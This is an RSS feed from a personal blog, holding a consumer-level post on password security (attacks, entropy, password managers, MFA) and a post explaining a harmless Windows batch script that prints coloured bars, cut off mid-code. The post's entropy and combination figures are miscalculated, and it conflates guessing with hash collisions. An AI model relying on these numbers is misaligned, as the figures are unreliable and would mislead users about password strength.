<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Peixetlift's Projects</title>
    <description>A Site For Curious People</description>
    <link>https://peixetlift.github.io</link>
    <atom:link href="https://peixetlift.github.io/feed.xml" rel="self" type="application/rss+xml" />
    <author>
      <name>Peixetlift</name>
      <email>araventos11@gmail.com</email>
      <uri>https://peixetlift.github.io</uri>
    </author>
    
      <item>
        <title>Password security and how to choose passwords</title>
        <description>&lt;p&gt;More and more security breaches are beign exposed these days, and some of these lead to catastrophic outcomes such as password leakages, in which the users’ passwords are made public or shared.&lt;/p&gt;

&lt;p&gt;In this post I’ll cover what are the best practices to make when choosing a password, and how to manage all the passwords for all of your accounts.&lt;/p&gt;

&lt;p&gt;First of all, I’ll address how to deal with passwords for the average user, and afterwards I’ll get into some detail of which attacks can be performed, the math involving password strength, and some extra tips to make your account security more robust.&lt;/p&gt;

&lt;h2 id=&quot;1---dealing-with-passwords&quot;&gt;1 - Dealing with passwords&lt;/h2&gt;

&lt;p&gt;Let’s get onto it, the three factors that affect the strength of your password are the following :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Length of the password&lt;/li&gt;
  &lt;li&gt;Character set that will be used&lt;/li&gt;
  &lt;li&gt;Predictability&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To get more into detail, you can keep reading and discover which kind of attacks can affect you and what the math behind password security is, but if you only want to have secure passwords and skip all of the geeky information, these are the guidelines to follow :&lt;/p&gt;

&lt;hr /&gt;
&lt;ul&gt;
  &lt;li&gt;Password must be &lt;b&gt;more than 8 characters long.&lt;/b&gt;And you have to know that this is the limit for today’s computing power, but this number increases with time, so I would go for something like 15+ characters to make sure I’m safe.&lt;br /&gt;&lt;/li&gt;
  &lt;li&gt;It needs to include some &lt;b&gt;number, symbol and capital letter.&lt;/b&gt;&lt;br /&gt;&lt;/li&gt;
  &lt;li&gt;It &lt;b&gt;must not be related to you&lt;/b&gt; (e.g. your favourite team, your birthday, etc.) and it can’t be composed of common words such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;password&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hello&lt;/code&gt;.&lt;br /&gt;&lt;/li&gt;
  &lt;li&gt;It isn’t a good idea either to take a password and use some permutation of it, such as substituting letters for numbers as in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h3ll0w0rld&lt;/code&gt;, this will be the first idea an attacker will come up with when performing a dictionary attack (which you can learn about down below).&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;p&gt;Some extra thing that you should take into consideration when choosing your password is the &lt;span class=&quot;pink&quot;&gt;convenience&lt;/span&gt; of remembering and typing it. So for example, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QrN}x#hCyBQ7t2)&amp;gt;&lt;/code&gt; is a great password in terms of robustness, but it is really hard for humans to remember random character strings, and a pain to type every time you want to access something.&lt;/p&gt;

&lt;p&gt;To put it in a nutshell, you want a strong, easy-to-remember password. My tip (and this is what most specialist will say) is to think of it as a &lt;span class=&quot;pink&quot;&gt;passphrase&lt;/span&gt; instead of a password, by combining multiple characters that are easy to remember, but long and random enough to be secure.&lt;/p&gt;

&lt;p&gt;Some examples of great passwords are :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;My_Friend/Has50%ofMyIQ&amp;gt;:)&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Alan$Tu#ringW@sNOTEWORTHY&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;password-managers&quot;&gt;Password Managers&lt;/h3&gt;

&lt;p&gt;With all of this said, I’d like to introduce you to password managers, which consist of applications that create and store an &lt;b&gt;encrypted database&lt;/b&gt; of your different passwords. A password manager will keep all of your passwords safe and you will only need to remember the master password to access the database. This is increcibly helpful since it opens the possibility to have randomly generated passwords for all of your accounts, such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chm(6PM@d+dHHT%q&lt;/code&gt;. This way, you only need to follow the &lt;span class=&quot;pink&quot;&gt;convenience&lt;/span&gt; guideline I just mentioned above when selecting your master password, and use a website such as &lt;a href=&quot;https://passwordsgenerator.net/&quot;&gt;passwordsgenerator.net&lt;/a&gt; to generate all of your other passwords (you won’t need to remeber them since they are stored permanently and securely).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://s3.amazonaws.com/neowin/news/images/uploaded/2017/06/1497027603_keepass_screenshot_2017.jpg&quot; width=&quot;70%&quot; class=&quot;border&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As a last tip for the average user : &lt;b&gt;NEVER RE-USE PASSWORDS.&lt;/b&gt; For real, do not ever use the same password for more than one site, each site handles its security differently, and if you use the same password for a dubious website that can have a security breach and for your Amazon account, well, you don’t need me to tell you what will happen.&lt;/p&gt;

&lt;h2 id=&quot;2---types-of-attacks&quot;&gt;2 - Types of attacks&lt;/h2&gt;

&lt;p&gt;To know how passwords can be cracked, first you need to learn how they are stored. The most common way (and the most secure one) passwords are stored inside a company’s database is with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hash&lt;/code&gt; of the password.
A &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hashing function&lt;/code&gt; or algorithm is a mathematical function that is easy to calculate in one way, but nearly impossible to undo, it converts a random input into a fixed-length output.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://simpleaswater.com/content/images/2020/01/hashing.7ae85ed9-1.png&quot; class=&quot;border&quot; width=&quot;45%&quot; /&gt;&lt;/p&gt;

&lt;p&gt;What this does is allowing passwords to be stored in a form that is by all means different from their original one, and it makes it impossible for someone who sees this hash to guess what the original password was.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/peixetlift/peixetlift.github.io/master/assets/2021-09-18%2010_15_24-hashing%20function%20-%20Google%20Search%20%E2%80%94%20Mozilla%20Firefox.png&quot; class=&quot;border&quot; width=&quot;50%&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In conclusion, &lt;b&gt;if you hash the same input twice, you will get the same output&lt;/b&gt;, but if you have the output of the hashing function (A.K.A. the hashed password) you cannot obtain the input. Therefore the way of guessing a password is by hashing some string and comparing this hash to the hash of the original password (provided the attacker has somehow obtained the password hash), if the hash of the string matches with the hash of the password, then the string is the password (I will not discuss hash collisions in this post but you can do further research since it is a very interesting topic). This hash comparison is the same procedure that takes place when you enter your password to log in to a site, it calculates the hash of what you entered, and compares it to the hash stored in the site’s database. This means that the attacker can directly try combinations of characters in the log in form of the site without needing to calculate hashes if the website doesn’t have any protection against brute force attacks.&lt;/p&gt;

&lt;p&gt;Getting deeper into detail, let’s break down what kinds of attacks you can fall victim of :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Brute force attack&lt;/li&gt;
  &lt;li&gt;Dictionary attack&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;brute-forcing&quot;&gt;Brute forcing&lt;/h3&gt;

&lt;p&gt;What a pure brute force attack consists of, is essentially trying every single combination possible until access is granted. This means trying the combinations :&lt;/p&gt;

&lt;blockquote&gt;
  &lt;ol&gt;
 &lt;li&gt;a&lt;/li&gt;
 &lt;li&gt;b&lt;/li&gt;
 &lt;li&gt;...&lt;/li&gt;
 &lt;li&gt;aa&lt;/li&gt;
 &lt;li&gt;ab&lt;/li&gt;
 &lt;li&gt;ac&lt;/li&gt;
 &lt;li&gt;...&lt;/li&gt;
 &lt;li&gt;aaa&lt;/li&gt;
 &lt;li&gt;aab&lt;/li&gt;
 &lt;li&gt;aac&lt;/li&gt;
 &lt;li&gt;aad&lt;/li&gt;
 &lt;li&gt;...&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;

&lt;p&gt;This process might seem endless, but since it is a computer and not a human who will be taking care of it, it can literally take seconds to crack a password if the password isn’t long enough and the character set doesn’t fit the broadness requirements.&lt;/p&gt;

&lt;h3 id=&quot;dictionary-attacks&quot;&gt;Dictionary attacks&lt;/h3&gt;

&lt;p&gt;These kind of attacks are a variant of the brute force ones, they also consist of trying many combinations, but this time the combinations won’t be every possible string, they will be carefully selected from a list of common words and patterns taken from lists of previously leaked passwords, common english words, etc. This is why unpredictability of our passwords is of huge importance.
Furthermore, attackers can and will do some research on what you like, who you follow, etc. and craft their own wordlists to attack you, I hope this makes you see how important it is to have a password completely unrelated to your insterests or personal data.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://cdn.arstechnica.net/wp-content/uploads/2013/03/IMG_1667.jpg&quot; class=&quot;border&quot; width=&quot;50%&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Once again, millions of combinations can be tried in seconds, so it’s not about trying to get fancy with passwords such as “adam12354” instead of “adam12345” (which by the way is a terrible password since it doesn’t meet the length, character set or predictability requirements).&lt;/p&gt;

&lt;h2 id=&quot;3---math&quot;&gt;3 - Math&lt;/h2&gt;

&lt;p&gt;This will probably be the most intense section of the post, by reading this you’ll learn to compare the strength of different passwords and the number of combinations that an attacker has to try in order to crack your password.&lt;/p&gt;

&lt;h3 id=&quot;entropy&quot;&gt;Entropy&lt;/h3&gt;

&lt;p&gt;To talk about password robustness, a little insight into the concept of Shannon’s entropy shall be made.
In information theory, entropy is, by definition, the average level of information or uncertainty that a process can output. For example, The entropy of the result of throwing a biased coin will be lower than that of a normal coin, because the outcome we’re expecting from the biased coin is easier to guess before the coin has been thrown.
Entropy is calculated through the formula :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.researchgate.net/profile/Jodi-Kearns/publication/34995295/figure/fig16/AS:669479310729234@1536627714604/Shannons-original-Entropy-equation.png&quot; class=&quot;border&quot; width=&quot;35%&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Thus a standard’s coin entropy is&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; H = 1&lt;/code&gt; because &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;p = 1/2&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(1 - p) = 1/2&lt;/code&gt; (being &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;p&lt;/code&gt; the probability of heads and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(1 - p)&lt;/code&gt; the one of tails), while a biased coin entropy will be something between 0 and 1, depending on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;p&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To calculate the entropy of a password, we can take the number of characters in the selected character set and call this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c&lt;/code&gt;, and the length of the password, and call it &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;l&lt;/code&gt;.
Then the entropy would be :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/peixetlift/peixetlift.github.io/blob/master/assets/passwordentropy.png?raw=true&quot; class=&quot;border&quot; width=&quot;35%&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As far as password selection concerns, the importance of entropy is that &lt;b&gt;we can calculate the amount of combinations that the attacker has to try in order to crack the password.&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;Statistically, it only takes half of all the possible combinations to find a match (a hash collision) and hence crack the password, and the amount of total combinations can be calculated with the following formula :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/peixetlift/peixetlift.github.io/master/assets/2021-09-18%2019_51_51-Welcome%20To%20Mathcha%20%E2%80%94%20Mozilla%20Firefox.png &quot; class=&quot;border&quot; width=&quot;40%&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This clearly shows that the more entropy, the more secure our password will be.&lt;/p&gt;

&lt;p&gt;&lt;b&gt;XKCD&lt;/b&gt; does an incredible job summarizing this topic &lt;a href=&quot;https://xkcd.com/936/&quot;&gt;in here.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let’s look at the strength of some examples with length of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;l = 13&lt;/code&gt; characters and different character sets :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Using only numbers : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c = 10&lt;/code&gt;&lt;br /&gt;
  Entropy = &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;37.00&lt;/code&gt;&lt;br /&gt;
  Attacker needs to try &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;6.87E+10&lt;/code&gt; combinations&lt;br /&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Using only letters : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c = 26&lt;/code&gt;&lt;br /&gt;
  Entropy = &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;96.21&lt;/code&gt;&lt;br /&gt;
  Attacker needs to try &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4.58E+28&lt;/code&gt; combinations&lt;br /&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Using all keyboard characters : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c = 94&lt;/code&gt;&lt;br /&gt;
  Entropy = &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;347.84&lt;/code&gt;&lt;br /&gt;
  Attacker needs to try &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2.57E+104&lt;/code&gt; combinations&lt;br /&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As you can see, including symbols, capital letters and numbers drastically increases the number of attempts that the attacker needs to do, this is why it is so important to follow the guidelines stated at the beginning of the post.&lt;/p&gt;

&lt;h3 id=&quot;attack-rate&quot;&gt;Attack rate&lt;/h3&gt;

&lt;p&gt;Until this point, I have talked about an attacker being able to try many combinations in a matter of seconds, but how many of them can they exactly run?&lt;/p&gt;

&lt;p&gt;I’m sorry to tell you that this question doesn’t have an easy answer, since this speed &lt;b&gt;totally depends on the attacker’s computer&lt;/b&gt; and the &lt;b&gt;number of iterations&lt;/b&gt; that the &lt;b&gt;hashing algorithm&lt;/b&gt; requires to obtain a result. What is for sure, is that it takes less time to crack a password everyday, due to the pace at which technology evolves nowadays, so it is always better to be safe than sorry and add that extra lentgh to your password.&lt;/p&gt;

&lt;p&gt;As we’ve just seen, we cannot estimate how much time it would take an attacker to crack a password without knowing his equipment, but what we can do is make our password as secure as possible by making sure it does have a high entropy.&lt;/p&gt;

&lt;h2 id=&quot;4---extra-tips&quot;&gt;4 - Extra tips&lt;/h2&gt;

&lt;p&gt;If you have arrived at this point, I can assume that you are concerned about your online privacy and security, and I will give you one more tip to enhance the safety of your accounts : use &lt;b&gt;multi-factor authentication&lt;/b&gt; whenever it is possible.&lt;/p&gt;

&lt;h3 id=&quot;mfa-multi-factor-authentication&quot;&gt;MFA (Multi-Factor Authentication)&lt;/h3&gt;

&lt;p&gt;All of this post has been about passwords’ vulnerability to being cracked, but what I haven’t talked about is that &lt;b&gt;passwords can be stolen&lt;/b&gt;. There are several ways to do this via malware (keyloggers, camfecting, etc.) or with social engineering (tricking you into telling someone your password).&lt;/p&gt;

&lt;p&gt;The good news is that MFA solves this problem. MFA will ask you to provide more than one piece of information to access whatever you’re trying to access. It will usually ask for some code sent to your phone, a fingerprint, or some other way of identifying you, which will completely deny access to someone who has stolen your password.
It can be annoying sometimes, but it is definetly worth it to use, specially if you have some important data that you want to keep safe.&lt;/p&gt;

&lt;p&gt;This has been all for today, thank you guys for reading me and see you next time!&lt;/p&gt;

&lt;style&gt;
  .border {   
  border-width: 0px;
  border-color: #7FFF00;
  border-style: groove;
  box-shadow: 0px 0px 8px #ADFF2F;
  margin-left: auto;
  margin-right: auto;
  display: block;
  margin: 0 auto; } 
 .green {
 text-shadow : 0px 0px 4px #ADFF2F }
 .pink {
 text-shadow : 0px 0px 4px #ff6699 }
&lt;/style&gt;

</description>
        <pubDate>Sat, 18 Sep 2021 00:00:00 +0000</pubDate>
        <link>https://peixetlift.github.io//All-about-password-security</link>
        <link href="https://peixetlift.github.io/All-about-password-security"/>
        <guid isPermaLink="true">https://peixetlift.github.io/All-about-password-security</guid>
      </item>
    
      <item>
        <title>Command Line Rainbow</title>
        <description>&lt;p&gt;Hi again! In this post I’ll explain some code that I’ve developed to mess with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd&lt;/code&gt; colours on windows.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/74323383/126896875-0ae9ac47-6c8d-45e7-a427-db4c3e22cc03.png&quot; class=&quot;border&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The funciton of the script is mainly to draw kind of a rainbow, and it adapts to every window size.
I’ll be using two separate files for this :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;span class=&quot;green&quot;&gt;rainbow.bat&lt;/span&gt;&lt;/li&gt;
  &lt;li&gt;&lt;span class=&quot;green&quot;&gt;parse.pl&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
  &lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.bat&lt;/code&gt; extension is used for batch files, which are, in short, “shell scripts for the windows cmd”. &lt;a href=&quot;https://www.robvanderwoude.com/&quot;&gt;This excellent page&lt;/a&gt;  will teach you everything you want to know and much more (for real, those people are crazy).&lt;br /&gt;
The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.pl&lt;/code&gt; extension is the one used for Perl scripts. If you are interested in learning the language, you can visit &lt;a href=&quot;https://www.perltutorial.org/&quot;&gt;this site&lt;/a&gt;.&lt;br /&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;rainbowbat&quot;&gt;&lt;span class=&quot;pink&quot;&gt;rainbow.bat&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Let’s brake down this script in two parts : obtaining the number of columns that the window has (A.K.A. how many characters fit in one line) and displaying the rainbow.&lt;/p&gt;

&lt;h3 id=&quot;number-of-columns&quot;&gt;Number of columns&lt;/h3&gt;

&lt;p&gt;To check the number of columns that the window is using, the command &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mode&lt;/code&gt; will be very useful. The documentation of the command is &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mode&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;With &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mode con&lt;/code&gt; we can output some info about the size of the window. It’s been very useful to me to redirect this info into a temporary separate file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ModeTemp.txt&lt;/code&gt; (it will be deleted when the process ends) in order to parse it afterwards with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;parse.pl&lt;/code&gt;, but I’ll get into the parser later. For now, let’s just assume that we can obtain the number of columns with the other script.&lt;/p&gt;
&lt;hr /&gt;
&lt;div class=&quot;language-bat highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;mode&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;con&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;ModeTemp&lt;/span&gt;.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;hr /&gt;

&lt;p&gt;Once obtained, the number of columns has to be assigned to a variable so that it can be used later on. This seems trivial, but it is definetly not when the scripting language is batch.&lt;/p&gt;

&lt;p&gt;To accomplish this variable assignment, it is required to loop through the parser’s output, which will be in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stdout&lt;/code&gt;. When the loop is finished, the variable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cols&lt;/code&gt; will be set to the last line that was read.&lt;/p&gt;

&lt;hr /&gt;
&lt;div class=&quot;language-bat highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;/f &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;tokens=*&quot;&lt;/span&gt; &lt;span class=&quot;vm&quot;&gt;%%a&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'perl parse.pl'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;cols&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;vm&quot;&gt;%%a&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;hr /&gt;

&lt;p&gt;Some pretty detailed information about how this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;for /f&lt;/code&gt; works can be found &lt;a href=&quot;https://ss64.com/nt/for_f.html&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;displaying-the-rainbow&quot;&gt;Displaying the rainbow&lt;/h3&gt;

&lt;p&gt;Here is where the real magic happens. I’ll have to break this down into different sections once again so that it can be well understood :&lt;/p&gt;

&lt;p&gt;The first thing I’m doing after obtaining the columns is checking if the number is odd or even. This step will let me add a “speed feature” by echoing either one or two “coloured spaces” on each loop iteration.&lt;/p&gt;
&lt;hr /&gt;
&lt;div class=&quot;language-bat highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;/A &lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;mod&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%cols%&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;%%&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;%mod%&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;/A &lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;cols&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;When loop ends :&lt;/p&gt;
&lt;div class=&quot;language-bat highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;%mod%&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%a%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;m&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;m&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
  &lt;p&gt;In case the number is even, no changes are required because by echoing 2 characters at a time, we’ll reach the end of the line.&lt;br /&gt;
However, if it is an odd number and no modifications are made, the whole line + 1 character will be echoed when &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;speed=2&lt;/code&gt;, thus colouring the next line.&lt;br /&gt;
The required change in this last case is pretty simple, when the number of columns is odd, substract 1 to it and echo outside of the loop.&lt;br /&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Let’s now get to this famous loop:&lt;/p&gt;

&lt;p&gt;To be able to make a determined amount of iterations in batch, one option is to loop through a range with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;for /L&lt;/code&gt;. Once again, for more info look at &lt;a href=&quot;https://ss64.com/nt/for_l.html&quot;&gt;this website&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Depending on the “speed” (that we obtain through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stdin&lt;/code&gt;), each iteration will either echo 1 character &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cols&lt;/code&gt; number of times, or 2 characters &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cols&lt;/code&gt;/2 number of times.&lt;/p&gt;

&lt;p&gt;There is one more thing to be understood before looking at the code : &lt;span class=&quot;pink&quot;&gt;how do you use colours?&lt;/span&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd&lt;/code&gt; can display colours thanks to &lt;span class=&quot;green&quot;&gt;ANSI sequences&lt;/span&gt;, which you can learn more about &lt;a href=&quot;https://www.robvanderwoude.com/ansi.php&quot;&gt;checking out this page&lt;/a&gt;.&lt;/p&gt;

&lt;hr /&gt;
&lt;div class=&quot;language-bat highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;/L &lt;/span&gt;&lt;span class=&quot;vm&quot;&gt;%%n&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;%speed%&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;%cols%&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;%speed%&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;/p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%a%&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;m [0m&quot;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;%speed%&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;/p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%a%&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;m  [0m&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;/A &lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;%a%&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;47&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;/A &lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;41&lt;/span&gt;
